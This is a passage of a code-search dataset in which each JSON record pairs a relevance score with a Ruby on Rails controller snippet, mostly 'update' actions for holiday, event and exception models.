"text": "def update\n # model\n @holiday.update(holiday_params)\n\n if @holiday.valid?\n redirect_to @holiday\n else\n flash[:bad_job] = @holiday.errors.full_messages\n redirect_to \"/holidays/#{@holiday.id}/edit\"\n end\n\n # response\n end",
"title": ""
},
{
"docid": "733f8e7580f6cc1f5eba2a2057cabaea",
"score": "0.6287663",
"text": "def update\n respond_to do |format|\n if @activity_holiday.update(activity_holiday_params)\n format.html { redirect_to @activity_holiday, notice: 'Activity holiday was successfully updated.' }\n format.json { render :show, status: :ok, location: @activity_holiday }\n else\n format.html { render :edit }\n format.json { render json: @activity_holiday.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "db2f942328035e837b73ef3d1428887c",
"score": "0.6247102",
"text": "def update\n respond_to do |format|\n if @holiday_date.update(holiday_date_params)\n format.html { redirect_to @holiday_date, notice: 'Holiday date was successfully updated.' }\n format.json { render :show, status: :ok, location: @holiday_date }\n else\n format.html { render :edit }\n format.json { render json: @holiday_date.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b9131aa7cb519d70cef6765612ad14f9",
"score": "0.61614746",
"text": "def set_holiday_exception\n @holiday_exception = HolidayException.find(params[:id])\n end",
"title": ""
},
{
"docid": "6821a0d41c868a9c0d1b1c01cd26adb4",
"score": "0.6155098",
"text": "def update\n respond_to do |format|\n if @holiday.update(holiday_params)\n format.html { redirect_to holidays_url, notice: '成功更新.' }\n format.json { render :show, status: :ok, location: @holiday }\n else\n format.html { render :edit }\n format.json { render json: @holiday.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e082e306e0973c325dc70a0fb7f4bec8",
"score": "0.6103232",
"text": "def update\n respond_to do |format|\n if @holiday.update_attributes(params[:holiday])\n format.html { redirect_to holiday_path(@holiday),\n notice: 'Holiday is successfully updated' }\n else\n format.html { render \"edit\" }\n end\n end\n end",
"title": ""
},
{
"docid": "9932ebdcf305fe20101640c64f0d8463",
"score": "0.6100695",
"text": "def update\n @holiday = Holiday.find(params[:id])\n \n respond_to do |format|\n if @holiday.update_attributes(params[:holiday])\n Workstream.register_user_action(@company.id, @current_user.id, request.remote_ip,\n \" holiday for #{@holiday.holiday} on date #{@holiday.holiday_date}\", \"updated\", @current_user.branch_id)\n format.html { redirect_to(@holiday, :notice => 'Holiday was successfully updated.') }\n # format.xml { head :ok }\n format.json { head :ok }\n else\n @menu = \"Organisation Settings\"\n @page_name = \"Manage Holiday\"\n format.html { render :action => \"edit\" }\n # format.xml { render :xml => @holiday.errors, :status => :unprocessable_entity }\n format.json { respond_with_bip(@holiday) }\n end\n end\n end",
"title": ""
},
{
"docid": "3620f1dfdce6c788959febe0c1ad295b",
"score": "0.60963273",
"text": "def update\n respond_to do |format|\n if @exception_date.update(exception_date_params)\n flash[:success] = 'Exception date was successfully updated.'\n format.html { redirect_to exception_dates_url }\n format.json { render :show, status: :ok, location: @exception_date }\n else\n format.html { render :edit }\n format.json { render json: @exception_date.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7f1d79814d65f1cae5f65ddbe0334e64",
"score": "0.6084834",
"text": "def update\n @claim_validation_exception = ClaimValidationException.find(params[:id])\n\n respond_to do |format|\n if @claim_validation_exception.update_attributes(params[:claim_validation_exception])\n format.html { redirect_to @claim_validation_exception, notice: 'Claim validation exception was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @claim_validation_exception.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "70fbcf863f35ada33badd5a1dc956c89",
"score": "0.6074538",
"text": "def update\n @holidaytype = Holidaytype.find(params[:id])\n\n respond_to do |format|\n if @holidaytype.update_attributes(params[:holidaytype])\n format.html { redirect_to @holidaytype, notice: 'Holidaytype was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @holidaytype.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8aa178550d1a0a07e2f9b575a73305df",
"score": "0.58965045",
"text": "def update\n respond_to do |format|\n if @holidaytask.update(holidaytask_params)\n format.html { redirect_to @holidaytask, notice: 'Holidaytask was successfully updated.' }\n format.json { render :show, status: :ok, location: @holidaytask }\n else\n format.html { render :edit }\n format.json { render json: @holidaytask.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "16a154c8a08cd584c25779fe67601e35",
"score": "0.5814902",
"text": "def update\n @daily_data_delivery_exception = DailyDataDeliveryException.find(params[:id])\n\n respond_to do |format|\n if @daily_data_delivery_exception.update_attributes(params[:daily_data_delivery_exception])\n format.html { redirect_to @daily_data_delivery_exception, notice: 'Daily data delivery exception was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @daily_data_delivery_exception.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6351d56c5806fccbaf0774052a31c594",
"score": "0.58013284",
"text": "def update\n @emergency = Emergency.find(@rescue.emergency_id)\n respond_to do |format|\n if @rescue.update(rescue_params)\n format.html { redirect_to @rescue, notice: 'La informacion del formulario de rescate fue actualizada con exito.' }\n format.json { render :show, status: :ok, location: @rescue }\n else\n format.html { render :edit }\n format.json { render json: @rescue.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d97518c1d9abd68a101c89483d885915",
"score": "0.57657105",
"text": "def update\n @except = Except.find(params[:id])\n\n respond_to do |format|\n if @except.update_attributes(params[:except])\n format.html { redirect_to @except, notice: 'Except was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @except.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9d021ca8f0fac8c0f8b8f0abbae9284e",
"score": "0.5750159",
"text": "def update\n respond_to do |format|\n raise @calendar.inspect\n\n if @calendar.update(calendar_params)\n format.html { redirect_to @calendar, notice: 'Calendar was successfully updated.' }\n format.json { render :show, status: :ok, location: @calendar }\n else\n format.html { render :edit }\n format.json { render json: @calendar.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5703a328f2bf2d93bcbc3b6645b2d8d3",
"score": "0.5733447",
"text": "def update\n attendance_params[:checkout] = DateTime.parse(attendance_params[:checkout]) if attendance_params[:checkout].present?\n attendance_params[:attendance_date] = attendance_params[:attendance_date].to_date if attendance_params[:attendance_date].present?\n\n r = @api.update_attendance(params[:id], attendance_params)\n respond_to do |format|\n if r.code == 204\n format.html { redirect_to attendances_url, notice: 'Attendance was successfully updated.' }\n else\n response = JSON.parse(r.body)\n format.html { redirect_to attendances_url, alert: response['message']}\n end\n end\n \n end",
"title": ""
},
{
"docid": "82a52e399bfd4249440dea488b491630",
"score": "0.5732978",
"text": "def update\n respond_to do |format|\n if @throwable.update(throwable_params)\n format.html { redirect_to @throwable, notice: 'Throwable was successfully updated.' }\n format.json { render :show, status: :ok, location: @throwable }\n else\n format.html { render :edit }\n format.json { render json: @throwable.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8299edab19be19fb3fba66fa79bd3040",
"score": "0.5728881",
"text": "def update\n if @holiday.update(holiday_params)\n flash[:success] = \"Feiertag aktualisiert.\"\n redirect_to @holiday\n else\n render :edit \n end\n end",
"title": ""
},
{
"docid": "b0d4fef67bcff8626266ae2a033f0bf7",
"score": "0.5687808",
"text": "def update\n respond_to do |format|\n if @trace_exception.update(trace_exception_params)\n format.html { redirect_to @trace_exception, notice: 'Trace exception was successfully updated.' }\n format.json { render :show, status: :ok, location: @trace_exception }\n else\n format.html { render :edit }\n format.json { render json: @trace_exception.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f70b05885355f2d15396cb52de21cc55",
"score": "0.5677984",
"text": "def update\n respond_to do |format|\n if @special_holiday_ctgr.update(special_holiday_ctgr_params)\n format.html { redirect_to @special_holiday_ctgr, notice: 'Special holiday ctgr was successfully updated.' }\n format.json { render :show, status: :ok, location: @special_holiday_ctgr }\n else\n format.html { render :edit }\n format.json { render json: @special_holiday_ctgr.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "fba95fc08a2546db4f080e916b5f580f",
"score": "0.5674492",
"text": "def update\n @event_request = EventRequest.find(params[:id])\n\n respond_to do |format|\n if @event_request.update_attributes(params[:event_request])\n format.html { redirect_to @event_request, notice: 'Event request was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event_request.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5b03bae749903fdff3cadad011c6ae96",
"score": "0.5667681",
"text": "def update\n respond_to do |format|\n if @incident.update(incident_params)\n format.json { head :no_content }\n else\n format.json { render json: @incident.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "98d47b6db474730d2d259931843541c5",
"score": "0.5655493",
"text": "def update\n respond_to do |format|\n if @event.update(event_params)\n format.json { head :no_content }\n else\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0f7e550ce170e7a1d99d0322827c5cd1",
"score": "0.564272",
"text": "def update\n respond_to do |format|\n if @entry.update(entry_params)\n format.html { redirect_to @entry, notice: 'Your entry was successfully updated sir.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n # format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "af0a6d7dc73d6acb0023f963f8b163b1",
"score": "0.5641638",
"text": "def update\n @excuse.update(excuse_params)\n redirect_to excuses_path(committee_id: @excuse.attendance_record.meeting.committee.id),\n notice: 'Excuse was successfully updated.'\n end",
"title": ""
},
{
"docid": "96b603c67648f9bfee0ba1eebfdadaf8",
"score": "0.5640509",
"text": "def update\n @flat_happening = FlatHappening.find(params[:id])\n\n if @flat_happening.update_attributes(params[:flat_happening])\n head :no_content\n else\n render json: @flat_happening.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "12837c0a4589d71607cc2f7b7e22d78c",
"score": "0.56329775",
"text": "def update\n begin\n @appointment = Appointment.find(params[:id])\n rescue\n respond_info('error', 'internal_server_error', 'Update Appointment Failed', :internal_server_error)\n return\n end\n if @appointment.update(appointment_params)\n render :json => @appointments, :status => :no_content #HTTP status code: 204 No Content\n else\n render json: @appointment.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "39d3587930cd1fe8a7cd76b9f028b48a",
"score": "0.5621355",
"text": "def update\n respond_to do |format|\n if @off_day.update(off_day_params)\n format.html { redirect_to @off_day, notice: 'Off day was successfully updated.' }\n format.json { render :show, status: :ok, location: @off_day }\n else\n format.html { render :edit }\n format.json { render json: @off_day.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8a9ec0d3651c86aa059583f4dda9f4ac",
"score": "0.56203705",
"text": "def update\n if @event.update(event_params)\n render json: @event, status: 201\n else\n render json: { message: \"Error. Error. Please try again.\"}, status: 400\n end\n end",
"title": ""
},
{
"docid": "3cdd6461850d72cefc11e234ddb476d8",
"score": "0.5611551",
"text": "def update\n # @event = Event.find(params[:id])\n\n if @event.update(event_params)\n head :no_content\n else\n render json: @event.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "fce24aa694f5c17f12269b2aa984d7ef",
"score": "0.5604844",
"text": "def update\n @hk_public_holiday = HkPublicHoliday.find(params[:id])\n\n respond_to do |format|\n if @hk_public_holiday.update_attributes(params[:hk_public_holiday])\n format.html { redirect_to(@hk_public_holiday, :notice => 'Hk public holiday was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @hk_public_holiday.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3bb5e60fec80017b695b1a0c99c657b6",
"score": "0.5604053",
"text": "def update\n @holiday = Holiday.find(params[:id])\n if current_user.has_permission?(:holidays)\n @holiday.accessible = :all\n end\n\n respond_to do |format|\n if @holiday.update_attributes(params[:holiday])\n format.html { redirect_to [:admin, @holiday], :notice => \"Holiday was successfully updated.\" }\n else\n flash[:error] = \"Holiday was not updated.\"\n format.html { render active_admin_template(:edit) }\n end\n end\n end",
"title": ""
},
{
"docid": "e1c7e8690e6b1c9d6a29b3a9f8f5a942",
"score": "0.5603949",
"text": "def update\n respond_to do |format|\n if @attendance_entry.update(attendance_entry_params)\n format.html { redirect_to @attendance_entry, notice: 'Event attendance entry was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @attendance_entry.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "42b9e158174ec92ad289160d881985dd",
"score": "0.55864596",
"text": "def update\n respond_to do |format|\n if @vacation_hours_event.update(vacation_hours_event_params)\n format.html { redirect_to vacation_hours_events_path, notice: 'Vacation hours event was successfully updated.' }\n format.json { render :show, status: :ok, location: @vacation_hours_event }\n else\n format.html { render :edit }\n format.json { render json: @vacation_hours_event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "510e88a785a79c2a0e59b8db373d2bd1",
"score": "0.5585771",
"text": "def holiday_exception_params\n params.require(:holiday_exception).permit(:user_id, :project_id, :customer_id, :holiday_ids => [])\n end",
"title": ""
},
{
"docid": "d062aac9f069f4c5ca675cabc910153a",
"score": "0.5580808",
"text": "def edit_resource(type, id, data)\n bad_attrs = data_includes_invalid_attrs(data)\n\n if bad_attrs.present?\n msg = \"Attribute(s) '#{bad_attrs}' should not be specified for updating a server resource\"\n raise BadRequestError, msg\n end\n\n super\n end",
"title": ""
},
{
"docid": "aab7da59746af5fb4c7bb4fa5684095a",
"score": "0.5576611",
"text": "def update\n\tif @event.update(event_params)\n head :no_content\n else\n render json: @event.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "64d50831a83e7a41cc6067bec66dcdcf",
"score": "0.5568072",
"text": "def update\n @closing_day = ClosingDay.find(params[:id])\n\n respond_to do |format|\n if @closing_day.update_attributes(params[:closing_day])\n format.html { redirect_to @closing_day, notice: 'Closing day was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @closing_day.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a99a0c3b9cf2b4e5d844ce06bab0693d",
"score": "0.5559058",
"text": "def update\n respond_to do |format|\n if @food_event.update(food_event_params)\n format.html { redirect_to @food_event, notice: 'Food event was successfully updated.' }\n format.json { render :show, status: :ok, location: @food_event }\n else\n format.html { render :edit }\n format.json { render json: @food_event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "22edd935bf29409e5588c8b1f0bccc07",
"score": "0.5558919",
"text": "def calendar_exceptions\n get '/gtfs/calendarDate'\n end",
"title": ""
},
{
"docid": "366c3006ff37d35c46376affec68a294",
"score": "0.5554101",
"text": "def update\n @event_interest = EventInterest.find(params[:id])\n\n respond_to do |format|\n if @event_interest.update_attributes(params[:event_interest])\n format.html { redirect_to @event_interest, notice: 'Event interest was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event_interest.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4d95ee381a8e8f76f8d3ea23da4b3773",
"score": "0.5547471",
"text": "def patch_event\n user_id = params[\"user_id\"]\n group_id = params[\"group_id\"]\n event_id = params[\"event_id\"]\n\n #TODO Handle 404 if event not found\n event = Event.find(event_id)\n\n json_body = JSON.parse(request.body.read)\n\n @@event_service.patch_event(json_body, user_id, group_id, event_id)\n\n render status: :ok, text: \"\"\n end",
"title": ""
},
{
"docid": "5d47f338f06ab486384cc412c551af1e",
"score": "0.5540722",
"text": "def update\n if @item.update(item_params)\n render status: 201, :json => @item, :include =>[{:location =>{:except=>[:id, :created_at, :updated_at]}}, {:food =>{:except =>[:id, :created_at, :updated_at]}}], :except => [:created_at, :updated_at, :food_id, :location_id]\n else\n render status: 404, json: { message: @item.errors}.to_json\n end\n\n \n end",
"title": ""
},
{
"docid": "cfc0d59fdeb6a433afeb730207e6ad49",
"score": "0.55402017",
"text": "def update\n respond_to do |format|\n if @sick_hours_event.update(sick_hours_event_params)\n format.html { redirect_to sick_hours_events_path, notice: 'Sick hours event was successfully updated.' }\n format.json { render :show, status: :ok, location: @sick_hours_event }\n else\n format.html { render :edit }\n format.json { render json: @sick_hours_event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "93c6adad06f5036c34d0b5d26cd1ce02",
"score": "0.55401045",
"text": "def edit\n @appointment_request = current_user.requests.find_by(\n id: params[:request_id]\n )\n\n if @appointment_request.present?\n render json: { appointment_request: @appointment_request, status: 200 }\n else\n render json: { status: 404, layout: false }, status: 404\n end\n end",
"title": ""
},
{
"docid": "ca9a352e3ea2995ed1c954b87753ee90",
"score": "0.55379444",
"text": "def update\n @dayoff = Dayoff.find(params[:id])\n\n respond_to do |format|\n if @dayoff.update_attributes(params[:dayoff])\n format.html { redirect_to @dayoff, notice: 'Dayoff was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @dayoff.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3bda2855da3309c32f54662c8aaec737",
"score": "0.55303746",
"text": "def update\n @event = Event.find(params[:id])\n @timezones = TimeZone.all\n @currencies = Money::Currency.table\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n if @event.cancelled\n format.html { redirect_to events_path, notice: t('flash.event.cancel.success') }\n else\n format.html { redirect_to events_path, notice: t('flash.event.update.success') }\n end\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "fd074732d591a894b0f5e473475df465",
"score": "0.55166954",
"text": "def edit\n @commission_fixing = CommissionFixing.find(params[:id])\n rescue ActiveRecord::RecordNotFound\n render :json=>{:response=>\"The record can't be found\"}\n end",
"title": ""
},
{
"docid": "8b06cc84049a3f9e74a5988c2d186d68",
"score": "0.5508476",
"text": "def update\n respond_to do |format|\n if @event_day.update(event_day_params)\n format.html { redirect_to events_path, notice: 'Event day was successfully updated.' }\n format.json { render :show, status: :ok, location: @event_day }\n else\n format.html { render :edit }\n format.json { render json: @event_day.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c725695acd9575fdef974dd561794730",
"score": "0.54983526",
"text": "def update\n @event = Event.find(params[:id])\n\n if @event.update(params[:event])\n head :no_content\n else\n render json: @event.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "fdce09cb3eb4b4082e8b6ff2d27f4ada",
"score": "0.5491919",
"text": "def update\n respond_to do |format|\n if @base_event.update(base_event_params)\n format.json { head :no_content }\n else\n format.json { render json: @base_event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "96c0d01eb1051a3269a16255c670a1cc",
"score": "0.548926",
"text": "def update\n respond_to do |format|\n if @callout.update(callout_params)\n format.html { redirect_to @callout, notice: 'Callout was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @callout.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b1c93a173a0334803f8b2bdb1657ef25",
"score": "0.5487691",
"text": "def update\n @employee = Employee.find_by_id(params[:id])\n @employee.update_attributes({:id => params[:id],\n :name => params[:name],\n :title => params[:title],\n :status => params[:status],\n :employment_type => params[:employment_type],\n :attendance_type_id => params[:attendance_type_id],\n :hourly_rate => params[:hourly_rate],\n :location => params[:location],\n :capitalizable_group_id => params[:capitalizable_group_id],\n :leave_days => params[:leave_days],\n :commencement_date => params[:commencement_date],\n :termination_date => params[:termination_date]})\n if request.xhr?\n render :json => @employee\n end\n end",
"title": ""
},
{
"docid": "a1abfe3de4c9d10b61c89e6692bc9ed2",
"score": "0.5477983",
"text": "def update\n @holidaymaster = Holidaymaster.find(params[:id])\n\n respond_to do |format|\n if @holidaymaster.update_attributes(params[:holidaymaster])\n format.html { redirect_to(@holidaymaster, :notice => 'Holidaymaster was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @holidaymaster.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c3afc565bf2b371037b33bdfb1579920",
"score": "0.547443",
"text": "def update!(**args)\n @exception = args[:exception] if args.key?(:exception)\n @regular_hours = args[:regular_hours] if args.key?(:regular_hours)\n end",
"title": ""
},
{
"docid": "0ee8fcfa321abca1c8a254f293929bba",
"score": "0.5468901",
"text": "def update\n @event = Event.find(params[:id])\n\n if @event.update(event_params)\n head :no_content\n else\n render json: @event.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "0ee8fcfa321abca1c8a254f293929bba",
"score": "0.5468901",
"text": "def update\n @event = Event.find(params[:id])\n\n if @event.update(event_params)\n head :no_content\n else\n render json: @event.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "413b506ff918e256ee78c85973dcb1fb",
"score": "0.5468148",
"text": "def update\n respond_to do |format|\n if @employee_event.update(employee_event_params)\n format.html { redirect_to @employee_event, notice: 'Employee event was successfully updated.' }\n format.json { render :show, status: :ok, location: @employee_event }\n else\n format.html { render :edit }\n format.json { render json: @employee_event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b0ec003285ff172e64cb1c800b421aab",
"score": "0.54665107",
"text": "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n @event.update(status: \"Pending\")\n else\n @reopen = true\n format.json { render json: @event.errors, status: :unprocessable_entity }\n format.html { render :show }\n end\n end\n end",
"title": ""
},
{
"docid": "8cb7e4ae4a9d89c1990bb55527d844f4",
"score": "0.5458569",
"text": "def update\n # raise params.to_s\n respond_to do |format|\n if @employee.update(employee_params)\n format.html { redirect_to @employee, notice: 'Работник обновлен.' }\n format.json { render :show, status: :ok, location: @employee }\n else\n format.html { render :edit }\n format.json { render json: @employee.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "fe5155bd83aa1f79d972cc2455e31553",
"score": "0.54585236",
"text": "def update\n @myevent = Myevent.find(params[:id])\n\n respond_to do |format|\n if @myevent.update_attributes(params[:myevent])\n format.html { redirect_to @myevent, notice: 'Myevent was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @myevent.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "283ff3191c7a063c7e7db09cfe654c0f",
"score": "0.5455724",
"text": "def update\n render json: @employee_user.errors unless @employee_user.update(employee_user_params)\n end",
"title": ""
},
{
"docid": "9da810a82dd5a26e42417dd2e74d2f5c",
"score": "0.5449091",
"text": "def update\n respond_to do |format|\n if @lunch_event.update(lunch_event_params)\n format.html { redirect_to @lunch_event, notice: 'Lunch event was successfully updated.' }\n format.json { render :show, status: :ok, location: @lunch_event }\n else\n format.html { render :edit }\n format.json { render json: @lunch_event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "866ff1921b01b647b9cc211456bafad7",
"score": "0.54472226",
"text": "def update\n respond_to do |format|\n if @rescue_time_chart.update(rescue_time_chart_params)\n format.html { redirect_to @rescue_time_chart, notice: 'Rescue time chart was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @rescue_time_chart.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7482725ebe7ff21fb319c7ec84bc7138",
"score": "0.54387546",
"text": "def update\n @event_requirement = EventRequirement.find(params[:id])\n\n if @event_requirement.update(event_requirement_params)\n head :no_content\n else\n render json: @event_requirement.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "da156f21190caa5df8d737c27905a190",
"score": "0.54364336",
"text": "def update\n respond_to do |format|\n if @financial_event.update(financial_event_params)\n format.html { redirect_to @financial_event, notice: 'Financial event was successfully updated.' }\n format.json { render :show, status: :ok, location: @financial_event }\n else\n format.html { render :edit }\n format.json { render json: @financial_event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "acc4c15574909b8bb506a18b6a369b14",
"score": "0.54349107",
"text": "def update\n respond_with Expense.update(params[:id], expense_params), status: 204\n end",
"title": ""
},
{
"docid": "58c18823e7fa27f4432d8e1f87458b31",
"score": "0.5430156",
"text": "def calendar_service_exceptions(service_id)\n get \"/gtfs/calendarDate/serviceId/#{service_id}\"\n end",
"title": ""
},
{
"docid": "e788e5f1759c48f8bbcd1c1fb497c263",
"score": "0.54232085",
"text": "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to dashboard_home_path }\n else\n format.html { render html: '500', status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "50bbf03c4a53a16937285a72f49f9185",
"score": "0.542261",
"text": "def update\n @incident = Incident.find(params[:id])\n\n if @incident.update(incident_params)\n head :no_content\n else\n render json: @incident.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "9af955038dc6b7874ef3c2ffb80f9ee1",
"score": "0.54213214",
"text": "def update\n @instance_fault = InstanceFault.find(params[:id])\n\n respond_to do |format|\n if @instance_fault.update_attributes(params[:instance_fault])\n format.html { redirect_to @instance_fault, notice: 'Instance fault was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @instance_fault.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "52fbcdfd28aa199291de8544c2ac7573",
"score": "0.54185414",
"text": "def update\n @bad_date = BadDate.find(params[:id])\n\n respond_to do |format|\n if @bad_date.update_attributes(params[:bad_date])\n format.html { redirect_to @bad_date, :notice=> 'Bad date was successfully updated.' }\n\n else\n format.html { render :action=> \"edit\" }\n\n end\n end\n end",
"title": ""
},
{
"docid": "db9bb63638eaf2f56e4a8d4c54e19ef2",
"score": "0.5418265",
"text": "def update\n respond_to do |format|\n if @calender_event.update(calender_event_params)\n format.html { redirect_to @calender_event, notice: '予定を変更しました。' }\n format.json { render :show, status: :ok, location: @calender_event }\n else\n format.html { render :edit }\n format.json { render json: @calender_event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "93c364b06f7f3fe5b2079d9d04d0fd42",
"score": "0.54177076",
"text": "def update\n @create_event = CreateEvent.find(params[:id])\n\n respond_to do |format|\n if @create_event.update_attributes(params[:create_event])\n format.html { redirect_to @create_event, notice: 'Create event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @create_event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f31116d801873d840617a7858c7837a9",
"score": "0.5416709",
"text": "def update\n respond_to do |format|\n if @service_fault.update(service_fault_params)\n format.html { redirect_to @service_fault, notice: 'Service fault was successfully updated.' }\n format.json { render :show, status: :ok, location: @service_fault }\n else\n format.html { render :edit }\n format.json { render json: @service_fault.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c85def9d05479d60da47ed0b76219936",
"score": "0.5408728",
"text": "def update_body_with_exception(body, exception)\n body.merge(\n \"retries\" => body.fetch(\"retries\", 0) + 1,\n \"exceptions\" => Array(body[\"exceptions\"]) + [{\n 'exception' => exception.class.name,\n 'message' => exception.to_s,\n 'backtrace' => exception.backtrace\n }]\n )\n end",
"title": ""
},
{
"docid": "63df697e0c07dfca448d8eb964ac15c2",
"score": "0.5407227",
"text": "def update\n @outside_request = OutsideRequest.find(params[:id])\n\n respond_to do |format|\n if @outside_request.update_attributes(params[:outside_request])\n format.html { redirect_to @outside_request, notice: 'Outside request was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \\\"edit\\\" }\n format.json { render json: @outside_request.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4bf43578be07c07a4c0bc8ea92d2f392",
"score": "0.54065466",
"text": "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: \"l'évenement a bien été modifié.\" }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\nend",
"title": ""
},
{
"docid": "e9aabf74c3d577ed9b51e6896e08e843",
"score": "0.5403136",
"text": "def update\n @calendar_event = CalendarEvent.find(params[:id])\n\n respond_to do |format|\n if @calendar_event.update_attributes(params[:calendar_event])\n format.html { redirect_to @calendar_event, notice: 'Calendar event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @calendar_event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "48b3467a55173813fda0aa9d209c1588",
"score": "0.53989404",
"text": "def update\n respond_to do |format|\n if @attendance.flake!({reason: params[:attendance][:reason]})\n format.html { redirect_to profile_path, notice: 'Your spot is now open for someone else!' }\n format.json { render :show, status: :created, location: @tea_time }\n else\n format.html { redirect_to profile_path }\n format.json { render json: @attendance.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2fcded7d809a99891a6cd97a845f376b",
"score": "0.5396868",
